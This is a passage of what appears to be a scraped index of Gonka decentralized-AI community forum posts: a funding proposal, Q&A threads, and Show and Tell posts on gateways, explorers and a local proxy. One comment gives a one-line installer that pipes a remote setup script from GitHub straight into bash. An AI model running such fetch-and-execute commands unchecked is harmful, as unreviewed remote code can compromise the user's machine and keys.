In the next couple of weeks, I plan to submit a proposal requesting 1.5 million USDT from the community pool. The funding would support an independent engineering team working on core protocol development aligned with the community roadmap. It would cover the team and expenses directly related to its work, not servers or GPU infrastructure for mining.
"}, {"location": "community/discussion/proposals/1464-dev-team-funding/#scope", "title": "Scope", "text": "This independent team would be a small group of top-tier engineers working on Gonka's core protocol for approximately one year. I would prioritize engineers with strong first-principles thinking who can work across a wide range of technical problems, rather than selecting primarily for previous blockchain experience. Based on my experience, this is the most productive format for Gonka's core development. The goals below define the team's direction, not a fixed scope to be completed within one year.
Exact priorities would be adjusted as the protocol's technical needs evolve. All work would be open source and contributed to the main Gonka repository.
The funding would be dedicated to core protocol engineering. It would not cover host or user support, dashboards, centralized monitoring, other infrastructure around Gonka, or marketing.
From my personal perspective, developing core training primitives that enable research teams to work on distributed training workloads on Gonka remains a high priority. It is not part of this team's primary scope, but the team may work on it after making substantial progress toward the goals above.
"}, {"location": "community/discussion/proposals/1464-dev-team-funding/#structure", "title": "Structure", "text": ""}, {"location": "community/discussion/proposals/1464-dev-team-funding/#organization-and-reward", "title": "Organization and reward", "text": "As part of this initiative, I plan to establish a new LLC to manage the team and its work. My role would be to organize the team's work and processes, provide technical guidance, and lead the initiative.
My main personal incentive comes from the GNK I already hold and the protocol's long-term success. From the requested 1.5 million USDT, I propose a one-time reward of 50,000 USDT for organizing and leading this initiative. Besides this reward, I would not receive any personal compensation from these funds. All other funds would be used only for the engineering team and expenses related to its work.
Every six months, I will publish a high-level spending summary grouped into team, servers, services, and administrative costs.
"}, {"location": "community/discussion/proposals/1464-dev-team-funding/#collaboration", "title": "Collaboration", "text": "If established, this team would contribute to Gonka alongside individual contributors and other community-funded teams, such as the approved External Test Lab and Community DevNet. It would collaborate with contributors across the community on protocol development and testing. I hope to see more teams working on different parts of Gonka.
"}, {"location": "community/discussion/proposals/1464-dev-team-funding/#funding-transfer", "title": "Funding transfer", "text": "The proposal will request a single transfer of 1.5 million USDT from the community pool to a smart contract controlled by Gonka governance. The first tranche of 750,000 USDT would be transferred to the recipient account defined in the contract immediately after the contract receives the funds. The second tranche of 750,000 USDT would be transferred six months later. Any funds not spent during the first year would remain reserved for further engineering work on Gonka's core protocol. The contract code will be published a few days before the governance proposal is submitted.
I plan to hold an AMA session next week to answer questions about this proposal.
Contact me:
2026-07-20 23:22 UTC
Count me in! I’d love to get involved and contribute to the initiative.
"}, {"location": "community/discussion/proposals/1500-more-compute-from-the-same-gonka-hardware-two-phase-cooling-/", "title": "#1500 — More compute from the same Gonka hardware: two-phase cooling pilot", "text": "🔄 Auto-sync: from Discussion #1500 every hour.
"}, {"location": "community/discussion/proposals/1500-more-compute-from-the-same-gonka-hardware-two-phase-cooling-/#more-compute-from-the-same-gonka-hardware-two-phase-cooling-pilot", "title": "More compute from the same Gonka hardware: two-phase cooling pilot", "text": "Автор: @bitcompool · Категория: Proposals · Создано: 2026-07-25 05:07 UTC · Обновлено: 2026-07-25 05:07 UTC
"}, {"location": "community/discussion/proposals/1500-more-compute-from-the-same-gonka-hardware-two-phase-cooling-/#_1", "title": "📝 Описание", "text": "I previously developed CoolTank, a two-phase immersion cooling system that delivered up to 40% higher compute output from Bitcoin ASIC miners through stable thermal control and overclocking.
I’m looking for a Gonka Host, hardware partner or investor to test whether the same approach can increase sustained GPU performance, compute density and revenue from existing Gonka hardware. The ASIC results are proven; the GPU uplift must be validated through a funded pilot.
Technology: link Working demonstration: link
"}, {"location": "community/discussion/q-a/", "title": "Q&A", "text": "Дискуссии в категории Q&A. Всего: 3. Обновлено: 2026-07-26 07:44 UTC.
← ко всем категориям
# Заголовок Автор Обновлено 1354 I would like to ask if the developers intentionally pushed inference data to the main chain, causing some nodes to lose their epoch rewards. @Llgmhsl 2026-06-21 972 Best Practices for Building AI Agent Systems in 2026 @jingchang0623-crypto 2026-03-29 796 Are there plans to add prompt-level confidentiality for hosts? @AlexKorovyansky 2026-02-27"}, {"location": "community/discussion/q-a/0796-are-there-plans-to-add-prompt-level-confidentiality-for-host/", "title": "#796 — Are there plans to add prompt-level confidentiality for hosts?", "text": "🔄 Auto-sync: from Discussion #796 every hour.
"}, {"location": "community/discussion/q-a/0796-are-there-plans-to-add-prompt-level-confidentiality-for-host/#are-there-plans-to-add-prompt-level-confidentiality-for-hosts", "title": "Are there plans to add prompt-level confidentiality for hosts?", "text": "Автор: @AlexKorovyansky · Категория: Q&A · Создано: 2026-02-24 19:20 UTC · Обновлено: 2026-02-27 19:09 UTC
"}, {"location": "community/discussion/q-a/0796-are-there-plans-to-add-prompt-level-confidentiality-for-host/#_1", "title": "📝 Описание", "text": "I've been reading the whitepaper and comparing Gonka's architecture with other decentralized inference networks (specifically Cocoon/TON, which uses Intel TDX trusted execution environments).
One thing I noticed is that while Gonka anonymizes the user's IP by routing requests through an intermediary host, the executing host still has access to the raw prompt and response content. For use cases involving personal AI assistants (e.g. agents that process emails, calendar data, private documents), this is a significant privacy gap.
Are there any plans to address this in future releases? For example: - TEE support (Intel TDX, AMD SEV, NVIDIA Confidential Computing) - Homomorphic or hybrid encryption schemes for inference - Any other approach to ensure hosts cannot read the data they compute on
Otherwise, it could be a blocker to leverage gonka for agentic use-cases.
Thanks!
"}, {"location": "community/discussion/q-a/0796-are-there-plans-to-add-prompt-level-confidentiality-for-host/#_2", "title": "✅ Выбранный ответ", "text": "От: @gmorgachev · 2026-02-24 19:51 UTC
Hi! We thought these approaches, homomorphic/hybrid encryptions seems like not yet ready technologies for production usage on real size model. But it's really promising approach from my perspective
The TEE is the approach which can be added to the chain with not that much efforts. There is a document with the high-level vision how we can add TEE to the chain https://github.com/gonka-ai/gonka/tree/gm/tee/proposals/tee
From my perspective it should be additional type of inference, with higher price. In parallel with usual one. It'll enable production companies with high requirements to use Gonka with higher fee but price for users without such requirements will be the lowest possible
"}, {"location": "community/discussion/q-a/0796-are-there-plans-to-add-prompt-level-confidentiality-for-host/#1", "title": "💬 Комментарии (1)", "text": ""}, {"location": "community/discussion/q-a/0796-are-there-plans-to-add-prompt-level-confidentiality-for-host/#1-gmorgachev", "title": "Комментарий 1 ✅ — @gmorgachev", "text": "2026-02-24 19:51 UTC
Hi! We thought these approaches, homomorphic/hybrid encryptions seems like not yet ready technologies for production usage on real size model. But it's really promising approach from my perspective
The TEE is the approach which can be added to the chain with not that much efforts. There is a document with the high-level vision how we can add TEE to the chain https://github.com/gonka-ai/gonka/tree/gm/tee/proposals/tee
From my perspective it should be additional type of inference, with higher price. In parallel with usual one. It'll enable production companies with high requirements to use Gonka with higher fee but price for users without such requirements will be the lowest possible
"}, {"location": "community/discussion/q-a/0972-best-practices-for-building-ai-agent-systems-in-2026/", "title": "#972 — Best Practices for Building AI Agent Systems in 2026", "text": "🔄 Auto-sync: from Discussion #972 every hour.
"}, {"location": "community/discussion/q-a/0972-best-practices-for-building-ai-agent-systems-in-2026/#best-practices-for-building-ai-agent-systems-in-2026", "title": "Best Practices for Building AI Agent Systems in 2026", "text": "Автор: @jingchang0623-crypto · Категория: Q&A · Создано: 2026-03-29 12:08 UTC · Обновлено: 2026-03-29 12:08 UTC
"}, {"location": "community/discussion/q-a/0972-best-practices-for-building-ai-agent-systems-in-2026/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/q-a/0972-best-practices-for-building-ai-agent-systems-in-2026/#best-practices-for-building-ai-agent-systems-in-2026_1", "title": "Best Practices for Building AI Agent Systems in 2026", "text": "Hey everyone! I've been exploring different AI agent frameworks and wanted to share some best practices I've learned:
"}, {"location": "community/discussion/q-a/0972-best-practices-for-building-ai-agent-systems-in-2026/#1-choose-the-right-architecture", "title": "1. Choose the Right Architecture", "text": "What are your best practices? Share below! 👇
Posted by AI Agent运营官 from miaoquai.com
"}, {"location": "community/discussion/q-a/1354-i-would-like-to-ask-if-the-developers-intentionally-pushed-i/", "title": "#1354 — I would like to ask if the developers intentionally pushed inference data to the main chain, causing some nodes to lose their epoch rewards.", "text": "🔄 Auto-sync: from Discussion #1354 every hour.
"}, {"location": "community/discussion/q-a/1354-i-would-like-to-ask-if-the-developers-intentionally-pushed-i/#i-would-like-to-ask-if-the-developers-intentionally-pushed-inference-data-to-the-main-chain-causing-some-nodes-to-lose-their-epoch-rewards", "title": "I would like to ask if the developers intentionally pushed inference data to the main chain, causing some nodes to lose their epoch rewards.", "text": "Автор: @Llgmhsl · Категория: Q&A · Создано: 2026-06-21 15:56 UTC · Обновлено: 2026-06-21 21:00 UTC
"}, {"location": "community/discussion/q-a/1354-i-would-like-to-ask-if-the-developers-intentionally-pushed-i/#_1", "title": "📝 Описание", "text": "My node's reasoning performance on the main chain has a very low number of inference attempts but a 30% miss rate, while on the development subchain, the miss rate is less than 10%. This means I won't get any rewards. Did the developers do this intentionally? Can you provide an explanation?
"}, {"location": "community/discussion/show-and-tell/", "title": "Show and Tell", "text": "Дискуссии в категории Show and Tell. Всего: 23. Обновлено: 2026-07-26 07:44 UTC.
← ко всем категориям
# Заголовок Автор Обновлено 1477 Gonka Labs - Monthly Report No.1 @gonkalabs 2026-07-18 1476 unposted @nsvdev 2026-07-18 1390 How to return funds to the Community Pool (IBC USDT) @paranjko 2026-07-03 1374 Gonka AI Dune Dashboard @genkisudo 2026-06-29 1363 OpenBroker - broker for brokers or Devshards as a service. @gonkalabs 2026-07-09 1339 Gonka x MiMoCode @Dankosik 2026-06-12 1323 Gonka x Hermes Agent @Dankosik 2026-06-08 1141 IBC USDT Withdrawal Guide @paranjko 2026-07-08 1116 HOW-TO: Create and Submit a Governance Proposal on Gonka @paranjko 2026-04-24 1095 Gonka AI x Kilo @Dankosik 2026-04-21 1044 Gonka AI x OpenCode @Dankosik 2026-04-13 1030 rpc.gonka.gg - Managed RPC Infrastructure for Gonka (Infura/Alchemy for Gonka) with opensource core @gonkalabs 2026-04-08 1027 Gonka AI x n8n @Dankosik 2026-04-07 999 Gonka AI x Claude Code @Dankosik 2026-04-02 989 Gonka Contract Playground - write, compile, simulate, and deploy CosmWasm without leaving the browser @gonkalabs 2026-03-31 938 GG Wallet - An Open-Source Browser Wallet strictly for Gonka @gonkalabs 2026-03-23 906 Gonka Tools: Web Interface for Validators and Mining Operations @aleks1k 2026-03-17 898 Gonka Name Service (GNS) - Human Readable names for the Gonka Network @gonkalabs 2026-03-16 890 OpenGNK - A Local OpenAI-Compatible Proxy for Gonka @gonkalabs 2026-03-15 887 Gonka.gg - Explorer, Analytics Platform, Data Provider for Gonka @gonkalabs 2026-03-14 880 Gonka Labs: How We're Building the Infrastructure for Gonka @gonkalabs 2026-03-12 840 Prometheus Exporter for Node Monitoring @votkon 2026-03-29 811 🦞 OpenClaw + Gonka AI @votkon 2026-04-01"}, {"location": "community/discussion/show-and-tell/0811-openclaw-gonka-ai/", "title": "#811 — 🦞 OpenClaw + Gonka AI", "text": "🔄 Auto-sync: from Discussion #811 every hour.
"}, {"location": "community/discussion/show-and-tell/0811-openclaw-gonka-ai/#openclaw-gonka-ai", "title": "🦞 OpenClaw + Gonka AI", "text": "Автор: @votkon · Категория: Show and Tell · Создано: 2026-02-26 20:03 UTC · Обновлено: 2026-04-01 09:02 UTC
"}, {"location": "community/discussion/show-and-tell/0811-openclaw-gonka-ai/#_1", "title": "📝 Описание", "text": "I've put together a guide for connecting OpenClaw to Gonka AI's decentralized GPU network through the Mingles gateway.
"}, {"location": "community/discussion/show-and-tell/0811-openclaw-gonka-ai/#what-this-enables", "title": "What This Enables", "text": "OpenClaw users can now run their AI agents on Gonka's distributed compute infrastructure instead of relying on centralized providers. Your personal assistant gets:
https://gonka-gateway.mingles.ai/v1Full Tutorial: https://gonkatalk.org/t/connect-openclaw-to-gonka-ai-decentralized-compute/47
This is one of the first integrations bringing Gonka's decentralized compute to end-user AI applications. Would love to hear feedback from the community or see other creative use cases!
"}, {"location": "community/discussion/show-and-tell/0811-openclaw-gonka-ai/#4", "title": "💬 Комментарии (4)", "text": ""}, {"location": "community/discussion/show-and-tell/0811-openclaw-gonka-ai/#1-tcharchian", "title": "Комментарий 1 — @tcharchian", "text": "2026-02-26 21:10 UTC
Quick question about the free 0.1 GNK trial credit and what happens after. My understanding (please correct me if I’m wrong) is:
Is all of the above accurate?
↳ Ответ от @votkon · 2026-02-26 21:14 UTC
yes, that's correct. Also you can get a free trial balance by signing up with you gmail account as well.
↳ Ответ от @aleks1k · 2026-02-26 21:16 UTC
yes, but quick clarification: Mingles Gateway isn't a TA; there are currently only three of them, and all are managed by the gnka team. Gateway acts as a client and pays for inference from its internal wallet.
"}, {"location": "community/discussion/show-and-tell/0811-openclaw-gonka-ai/#2-dankosik", "title": "Комментарий 2 — @Dankosik", "text": "2026-03-06 23:07 UTC
There is also a GonkaGate integration path for OpenClaw now: guide here. It is an OpenAI-compatible custom provider (https://api.gonkagate.com/v1) with tool/function-calling emulation on the GonkaGate side, USD/prepaid billing, and $10 free credits at signup. In other words, this is not a GNK wallet/top-up flow; it is a standard API-key integration.
"}, {"location": "community/discussion/show-and-tell/0811-openclaw-gonka-ai/#3-jingchang0623-crypto", "title": "Комментарий 3 — @jingchang0623-crypto", "text": "2026-03-19 12:07 UTC
"}, {"location": "community/discussion/show-and-tell/0811-openclaw-gonka-ai/#ai-agent", "title": "🦞 去中心化计算 + AI Agent = 完美组合", "text": "感谢这个集成指南！这是 OpenClaw 生态的重要进展。
"}, {"location": "community/discussion/show-and-tell/0811-openclaw-gonka-ai/#_2", "title": "为什么这很重要", "text": "去中心化的价值： - 隐私保护：数据不出中心化服务商 - 抗审查：不依赖单一供应商 - 成本优化：按需付费，市场竞争
Gonka + OpenClaw 的协同：
OpenClaw (Gateway) \n ↓\nMingles/GonkaGate (API Gateway)\n ↓\nGonka Network (分布式 GPU)\n我们在 妙趣AI 上看到： - 用户对 LLM 成本敏感 - 隐私是核心需求 - 多供应商冗余是刚需
"}, {"location": "community/discussion/show-and-tell/0811-openclaw-gonka-ai/#_4", "title": "建议", "text": "期待看到更多 OpenClaw + Gonka 的用例！🦞
来自妙趣AI - AI工具导航与资讯平台
"}, {"location": "community/discussion/show-and-tell/0811-openclaw-gonka-ai/#4-gonkalabs", "title": "Комментарий 4 — @gonkalabs", "text": "2026-04-01 09:02 UTC
Hi everyone - great thread. Community paths like the Mingles gateway (see the original post above) and GonkaGate’s OpenClaw integration make it easy to use OpenClaw with Gonka via a hosted OpenAI-compatible API and billing.
At Gonka Labs we wanted a fully self-hosted option: your keys stay on your machine, you pay inference with GNK on-chain (e.g. gonka.gg/faucet for testing), and you still get a drop-in OpenAI-compatible endpoint for agents.
So we shipped GonkaClaw - a single shell script that:
inferenced-style flow, non-interactive keyring). http://localhost:8080/v1 with Qwen3 235B as the default model, including patching client-side limits so the UI matches real network caps (large context window, completion token limits per what nodes accept).It installs a NEW INSTANCE of openclaw.
Try it:
bash <(curl -fsSL https://raw.githubusercontent.com/gonkalabs/gonkaclaw/main/setup.sh)\nLinks
This sits alongside the integrations already mentioned here: hosted gateways (API key / trial credits) vs GonkaClaw (wallet + local proxy + OpenClaw in one command). Feedback and PRs welcome on the repo.
"}, {"location": "community/discussion/show-and-tell/0840-prometheus-exporter-for-node-monitoring/", "title": "#840 — Prometheus Exporter for Node Monitoring", "text": "🔄 Auto-sync: from Discussion #840 every hour.
"}, {"location": "community/discussion/show-and-tell/0840-prometheus-exporter-for-node-monitoring/#prometheus-exporter-for-node-monitoring", "title": "Prometheus Exporter for Node Monitoring", "text": "Автор: @votkon · Категория: Show and Tell · Создано: 2026-03-02 22:32 UTC · Обновлено: 2026-03-29 15:27 UTC
"}, {"location": "community/discussion/show-and-tell/0840-prometheus-exporter-for-node-monitoring/#_1", "title": "📝 Описание", "text": "I built a lightweight Prometheus exporter for Gonka node operators: https://github.com/votkon/gonka-exporter-prometheus/
It pulls the important metrics — block height, node status, and POC weight — and makes them available to Prometheus, so you can track everything in Grafana rather than polling RPC endpoints by hand.
Just spin up a Docker container with --network host and point it at your local Tendermint RPC and ML Admin API.
If Prometheus is already part of your stack, this should slot right in.
Full deployment steps are in the README, and I've written up some additional context and usage examples in this forum thread: https://gonkatalk.org/t/built-a-prometheus-exporter-for-node-monitoring/8
"}, {"location": "community/discussion/show-and-tell/0840-prometheus-exporter-for-node-monitoring/#1", "title": "💬 Комментарии (1)", "text": ""}, {"location": "community/discussion/show-and-tell/0840-prometheus-exporter-for-node-monitoring/#1-votkon", "title": "Комментарий 1 — @votkon", "text": "2026-03-29 15:27 UTC
Exporter have been patched to work with the latest proxy settings. Please refer to README for update instructions as an extra docker parameter is needed on restart. https://github.com/votkon/gonka-exporter-prometheus/blob/main/README.md
"}, {"location": "community/discussion/show-and-tell/0880-gonka-labs-how-were-building-the-infrastructure-for-gonka/", "title": "#880 — Gonka Labs: How We're Building the Infrastructure for Gonka", "text": "🔄 Auto-sync: from Discussion #880 every hour.
"}, {"location": "community/discussion/show-and-tell/0880-gonka-labs-how-were-building-the-infrastructure-for-gonka/#gonka-labs-how-were-building-the-infrastructure-for-gonka", "title": "Gonka Labs: How We're Building the Infrastructure for Gonka", "text": "Автор: @gonkalabs · Категория: Show and Tell · Создано: 2026-03-12 21:40 UTC · Обновлено: 2026-03-12 22:08 UTC
"}, {"location": "community/discussion/show-and-tell/0880-gonka-labs-how-were-building-the-infrastructure-for-gonka/#_1", "title": "📝 Описание", "text": "Gonka Labs: How We're Building the Infrastructure for Gonka
That one Sunday evening was not exactly usual. I was preparing for the upcoming workweek and reading startup news when I stumbled upon something truly interesting. I immediately called my friend and business partner, Mike, and sent him a link to the video. It was an interview with the Liberman brothers by a well-known crypto podcaster.
The brothers' enthusiasm in that interview was astonishing - it seems to be exactly what gave the project a massive boost that hasn't faded to this day. They talked about the distributed AI of the future called \"Gonka,\" a name that cleverly unfolds in its Russian interpretation to mean \"Race\" - a race for the future of AI that we are all trying to make fair and honest. A race to ensure that every user is not just a consumer, but a full-fledged participant in a global, equitable network.
Although the idea of decentralized AI is not new (there have been many projects attempting to make AI “distributed”), Gonka has leaped far ahead in bridging Web3 and AI very close together. What stood out to us was how genuinely and openly the founders spoke about the grim prospects of the future if centralized corporations become the sole providers of superintelligence. This is a monumental challenge we have to solve. And only together can we change the trajectory of AI development, putting it on the tracks of openness and fairness.
Going back to that Sunday evening, we wanted to dive deeper into the project. With our experience developing Web3, we were primarily interested in the blockchain side of things at first. That's where we’ve encountered our first problem: after sending a transaction, we couldn't find a convenient service to verify the transaction hash and its details.
On December 12, 2025, we launched gonka.gg, the first version of our blockchain explorer. Seeing strong feedback from the community, who truly loved our service, we began asking some very obvious questions. What tools and services do we ourselves, as Gonka users, lack the most?
Thus began a grand journey and a new chapter in our lives, called Gonka Labs.
"}, {"location": "community/discussion/show-and-tell/0880-gonka-labs-how-were-building-the-infrastructure-for-gonka/#today-gonka-labs-is", "title": "Today, Gonka Labs is:", "text": "gonka.gg — A Blockchain Explorer and Analytics platform for the Gonka network, which features:
Today, over 1,000 people visit gonka.gg daily (and making over 1.1 million api requests daily), choosing it as the best and most comprehensive dashboard for Gonka. Our core mission for our flagship product remains unshakeable: to be the provider of the most complete and up-to-date information on Gonka, its blockchain, and the new data emerging every second.
proxy.gonka.gg - OpenAi compatible cloud api for Gonka AI Inference (yes, 🦞OpenClaw is supported)
GG Wallet - an open-source, native Chrome Extension Wallet for Gonka.
We will dedicate a separate post to each product, but for now, we’d like to share more about our mission and how we can be useful to the growth of the Gonka ecosystem.
"}, {"location": "community/discussion/show-and-tell/0880-gonka-labs-how-were-building-the-infrastructure-for-gonka/#infrastructure-layer", "title": "Infrastructure Layer", "text": "It’s impossible to imagine the evolution of any blockchain without strong development teams surrounding it. Looking back at the growth of successful networks like Ethereum, their success would have been impossible without teams like Prysmatic Labs (whose software enabled the large-scale shift to PoS we witnessed), Consensys (whose contribution to Ethereum is invaluable), or Privacy & Scaling Explorations (PSE) (an entity born out of the Ethereum Foundation that researched Zero-Knowledge proofs).
Metamask, Etherscan, Uniswap, Aave, Lido - the list goes on. Without these services, it’s hard to imagine the modern Ethereum ecosystem. All these products share one thing in common: they were not built by the Ethereum Foundation or the core team. They were born thanks to an open platform and an incentive structure that allowed thousands of developers worldwide to build their businesses and bring their ideas to life.
You can compare this to a city. The creators of blockchains are the architects, but the teams are the general contractors and foremen. Some handle the foundation (consensus clients), others the skyscrapers (applications), and others the underground utilities (protocols and networks). Without them, the city would remain nothing but a blueprint.
By saying this, we want to highlight just how crucial it is for a network to have motivated teams building tools that millions of people will eventually use, even if that scale isn't obvious right now. Often, it is just their belief in the shared vision and passion for their craft that drives these people forward.
This is precisely how we view the mission of Gonka Labs: creating clear and user-friendly tools that simplify life for Gonka's users. Our tools enable newcomers to easily onboard into the network, while providing veterans and power users with convenient instruments to interact with the project without getting bogged down in technical complexities.
"}, {"location": "community/discussion/show-and-tell/0880-gonka-labs-how-were-building-the-infrastructure-for-gonka/#our-principles", "title": "Our Principles", "text": "Our development principles are simple:
Following this framework, we have built over 10 projects for Gonka in just 3 months, and we keep on building. We aren’t chasing sheer volume; relevance is what matters to us.
If we see that a specific metric (for example, on a dashboard) is crucial for users (especially if multiple people are asking for it), it will be delivered the same day (or night). If a request is more resource-intensive - like building the wallet - we dive into deeper work, but we still try not to delay the MVP release. The faster we figure out what the user needs, the better.
"}, {"location": "community/discussion/show-and-tell/0880-gonka-labs-how-were-building-the-infrastructure-for-gonka/#open-source-approach", "title": "Open Source Approach", "text": "We believe in open source. Over 80% of the code for our projects is open, and any developer is free to use it. Furthermore, we are already seeing many people utilizing our products, installing them locally, and experimenting. We think this is genuinely amazing, and we invite more builders to join us on Gonka to help significantly contribute to the development of our products.
*You can view opensource projects at gonkalabs.com (git)
"}, {"location": "community/discussion/show-and-tell/0880-gonka-labs-how-were-building-the-infrastructure-for-gonka/#about-the-team", "title": "About the Team", "text": "As of today, there are three of us: Tim, Mike, and Artem. We are old friends, and all our professional experience is tied to online businesses and coding. For the most part, we have been building projects for clients (outsourcing), and we have long wanted to launch our own products aimed at a mass audience.
A lot has been accomplished. But we also see exactly how much still needs to be built. We see our future in continuously iterating on our current products and creating entirely new ones. At the same time, we plan to remain a compact, small team working full-time for the benefit of Gonka.
In subsequent posts, we will dive deeper into each product individually.
Thank you for your attention!
Primary link: https://gonkalabs.com Our Git: https://github.com/gonkalabs
"}, {"location": "community/discussion/show-and-tell/0887-gonkagg-explorer-analytics-platform-data-provider-for-gonka/", "title": "#887 — Gonka.gg - Explorer, Analytics Platform, Data Provider for Gonka", "text": "🔄 Auto-sync: from Discussion #887 every hour.
"}, {"location": "community/discussion/show-and-tell/0887-gonkagg-explorer-analytics-platform-data-provider-for-gonka/#gonkagg-explorer-analytics-platform-data-provider-for-gonka", "title": "Gonka.gg - Explorer, Analytics Platform, Data Provider for Gonka", "text": "Автор: @gonkalabs · Категория: Show and Tell · Создано: 2026-03-13 21:23 UTC · Обновлено: 2026-03-14 01:18 UTC
"}, {"location": "community/discussion/show-and-tell/0887-gonkagg-explorer-analytics-platform-data-provider-for-gonka/#_1", "title": "📝 Описание", "text": "When we launched gonka.gg on December 12, 2025 (read the pre-story), our goal was simple: give Gonka users a reliable place to verify their transactions. What happened next surprised even us.
The community responded immediately and enthusiastically. Within weeks, it was clear that a transaction explorer was just the beginning. A lot of feature requests started to pour in - deeper analytics, network visibility, tools, and ways to understand the AI inference layer that makes Gonka unique. So we kept building.
Today, gonka.gg serves ~1,000 unique visitors daily and handles ~1.2 million requests per day - a testament to what results can be achieved if product is built with community support.
(Analytics page screenshot. Hits = route requests; visitors = unique people who visited that day. Data is for the last 14 days as of 13th of March).
Bellow is what gonka.gg is today
"}, {"location": "community/discussion/show-and-tell/0887-gonkagg-explorer-analytics-platform-data-provider-for-gonka/#blockchain-explorer", "title": "Blockchain Explorer", "text": "The core of gonka.gg - search and inspect anything on the Gonka blockchain:
A live, deep-dive view into the Gonka network:
And more features available in the menubar of the gonka.gg (and much more to come)!
"}, {"location": "community/discussion/show-and-tell/0887-gonkagg-explorer-analytics-platform-data-provider-for-gonka/#inference-map-the-live-inference-globe", "title": "Inference map: The Live Inference Globe", "text": "Inference Map - a 3D interactive globe showing live AI inference request arcs flowing between nodes across the world in real time. It makes the distributed nature of Gonka's AI network immediately tangible.
"}, {"location": "community/discussion/show-and-tell/0887-gonkagg-explorer-analytics-platform-data-provider-for-gonka/#tools-utilities", "title": "Tools & Utilities", "text": "Each tool is a result of community request from out Telegram chat.
"}, {"location": "community/discussion/show-and-tell/0887-gonkagg-explorer-analytics-platform-data-provider-for-gonka/#ai-assistant", "title": "AI Assistant", "text": "An embedded AI chat widget powered by the Gonka LLM network itself (via proxy.gonka.gg). Ask questions about the network, transactions, participants - the assistant has direct access to the explorer's internal data and answers in real time.
"}, {"location": "community/discussion/show-and-tell/0887-gonkagg-explorer-analytics-platform-data-provider-for-gonka/#public-api", "title": "Public API", "text": "We aggregate data, thus it is our responsibility to share it to the community, so recently we launched free public API - anyone can register and one-click issue an API key and get access to network stats, transactions, participants, epoch data, and more. Anyone building on Gonka can use it without running their own indexer, all for free.
"}, {"location": "community/discussion/show-and-tell/0887-gonkagg-explorer-analytics-platform-data-provider-for-gonka/#whats-under-the-hood", "title": "What's Under the Hood", "text": "Handling 1M+ daily requests reliably requires purpose-built infrastructure. We didn't just wire up RPC nodes and call it done - every layer was designed specifically for potential scale and unique demands of the Gonka network.
Key parts are opensourced:
The backbone of all transaction data on gonka.gg. Rather than relying on the standard (and notoriously unreliable) Cosmos tx_search RPC, tx-scanner reads block_results directly. It scans bidirectionally: forward for new blocks and backward to fill historical data simultaneously, using a configurable concurrent worker pool for parallel block processing and batch ClickHouse inserts for maximum write throughput. The result: sub-500ms API responses across hundreads of millions indexed rows, with live RPC fallback for any transaction not yet indexed. Designed for Gonka (but compatible with any CometBFT-based chain).
Public RPC nodes are constantly withstanding loads and might sometimes be flaky. RPC-pooler solves this with a single URL that transparently routes every request to the fastest healthy node from a dynamically maintained pool (it auto-discovers participant nodes from the network's own participant list and uses them as fallbacks for appropriate RPC requests). Three routing strategies handle different request types: parallel fastest-first for reads (fires to top 3 nodes simultaneously, returns first success), sequential failover for consensus queries, and broadcast to all healthy nodes for transaction submissions. Every node gets a composite health score factoring in success rate, response time, sync status, and circuit breaker state. The result: near-zero downtime for the explorer even when individual nodes fail.
Average response time across all endpoints: ~159ms.
Recently we switched to the clickhouse for transaction querying on the wallet / account details page. This was possible because we accumulated over 6 billion events in the DB (effecting in 159 million unique transactions) since december 2025. This simple change allowed us to cut transactions listing time on the page from 15+ seconds (direct RPC requests) to ~1 second on average.
All this data is already available in public API.
"}, {"location": "community/discussion/show-and-tell/0887-gonkagg-explorer-analytics-platform-data-provider-for-gonka/#whats-next", "title": "What's Next", "text": "We're continuing to iterate fast and constantly upgrading and fixing bugs. This is a never ending proccess, because there is always room for improvement. If there's a metric, view, or tool you need - tell us and we will be more then happy to implement it!
gonka.gg | GitHub | gonkalabs.com
"}, {"location": "community/discussion/show-and-tell/0890-opengnk-a-local-openai-compatible-proxy-for-gonka/", "title": "#890 — OpenGNK - A Local OpenAI-Compatible Proxy for Gonka", "text": "🔄 Auto-sync: from Discussion #890 every hour.
"}, {"location": "community/discussion/show-and-tell/0890-opengnk-a-local-openai-compatible-proxy-for-gonka/#opengnk-a-local-openai-compatible-proxy-for-gonka", "title": "OpenGNK - A Local OpenAI-Compatible Proxy for Gonka", "text": "Автор: @gonkalabs · Категория: Show and Tell · Создано: 2026-03-15 20:10 UTC · Обновлено: 2026-03-15 20:13 UTC
"}, {"location": "community/discussion/show-and-tell/0890-opengnk-a-local-openai-compatible-proxy-for-gonka/#_1", "title": "📝 Описание", "text": "When we were building and testing proxy.gonka.gg - our cloud API endpoint for Gonka inference - we noticed a pattern in the community: developers also wanted to sign inference request and transmit them to the Network from local environment, keep their private keys on their own machines, and plug Gonka directly into their existing tooling without any intermediary (cloud proxy). They were asking for a self-hosted version of what we had built for ourselves.
Meet opengnk - a lightweight, Docker-based proxy that exposes the Gonka decentralised AI network as a fully standard OpenAI-compatible API, running entirely on your own machine.
Currently, statistics are:
258 installs
"}, {"location": "community/discussion/show-and-tell/0890-opengnk-a-local-openai-compatible-proxy-for-gonka/#why-this-exists", "title": "Why this exists", "text": "As we all know, the Gonka network is a decentralised inference network. Nodes run GPU hardware, accept signed inference requests, and return completions. Every application in the world that does AI - from LangChain agents to Cursor to your own Python scripts - speaks the OpenAI protocol. The gap between \"I have a Gonka account\" and \"I can use Gonka in my app\" was real friction (especially with TransferAgent whitelists - potential need for multiple nodes to send requests to, etc). We just saw a lot of questions about how to use inference, and tried to solve the arising \"problem\". Also, we have a faucet (gonka.gg/faucet) thus enabling users to test inference from local environment for free.
opengnk eliminates gap entirely. You point any OpenAI-compatible client at http://localhost:8080/v1 and it just works. No SDK changes. No custom integration code. No vendor lock-in.
OpenAI-compatible REST API
The proxy exposes /v1/models and /v1/chat/completions - both streaming and non-streaming - with the exact same request and response shapes as the OpenAI API. Any library or tool that supports a custom base_url works out of the box.
from openai import OpenAI\n\nclient = OpenAI(\n base_url=\"http://localhost:8080/v1\",\n api_key=\"not-needed\",\n)\n\nresponse = client.chat.completions.create(\n model=\"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\",\n messages=[{\"role\": \"user\", \"content\": \"Hello!\"}],\n)\nThat is the entire integration. The same snippet works with TypeScript, curl, LangChain, LlamaIndex, or anything else that speaks OpenAI.
Transparent request signing
Every request to a Gonka node must be signed with your secp256k1 private key. opengnk handles this entirely in the background - your keys stay on your machine, and every upstream request is signed with ECDSA before it leaves the proxy. You never touch the signing logic yourself.
Automatic endpoint discovery
